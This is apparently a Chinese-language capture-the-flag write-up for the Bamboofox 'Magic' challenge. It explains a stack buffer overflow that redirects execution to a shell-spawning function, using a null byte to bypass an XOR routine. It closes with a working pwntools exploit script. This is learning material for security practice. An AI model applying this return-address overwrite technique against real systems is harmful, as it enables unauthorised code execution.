Bamboofox CTF解題記錄,一如往常地到處找題目增進自己打CTF的戰力╰(°▽°)╯

我選擇先從這裡開始做


Writeup


Wargame 0-1 Magic [100]

Description Do you believe in magic?

Hint Stack buffer overflow

拿到檔案,magic: ELF 32-bit LSB executable,提示已經告知是Stack buffer overflow了,所以我直接IDA拆開來看了。

有漏洞的函式Magic() 然後還有一個never_use()可以用來開shell,所以題目應該是希望我們把ret address指到該函式。

ax, [ebp-44h]可知buffer大小是0x44,然後因為mov dword ptr [esp], offset aS ; "%s"可知scanf()的格式化參數是%s,所以可以用垃圾把Buffer塞爆。

已經了解Buffer overflow成立之後就來建構payload吧!

需要塞0x44個byte進去把Buffer塞滿,這樣做之後會頂到ebp,所以在額外塞0x4個byte頂過ebp,這邊開始就是return address了! 蓋上never_use()的記憶體位置完成攻擊~ Payload: 0x48個byte + never_use()的位置

其實這樣攻擊是不會成功的,因為還有一個函式被忽略了,do_magic(),題目直接給出source

void do_magic(char *buf,int n)
{
        int i;
        srand(time(NULL));
        for (i = 0; i < n; i++)
                buf[i] ^= rand()%256;
}

void magic()
{
        char magic_str[60];
        scanf("%s", magic_str);
        do_magic(magic_str, strlen(magic_str));
        printf("%s", magic_str);
}

如果不對do_magic進行繞過,那payload會直接跟亂數XOR變成垃圾QQ

由呼叫do_magic的地方可知控制XOR的次數是透過strlen(),這個函式會計算字串的字元數,停下來的方法是讀到一個\x00,那我們就提早讓他停下來就好!

所以payload變成: 0x1個byte + \x00 + (0x44 + 0x4 - 0x2) + never_use()的位置

from pwn import *


host = 'bamboofox.cs.nctu.edu.tw'
port = 10000

p = process('./magic')

# p = remote(host, port)

p.recvuntil(':')

p.sendline('A')

p.recvuntil(':')

p.sendline('A' + '\x00' + 'A' * 70 + p32(0x8048613))

p.interactive()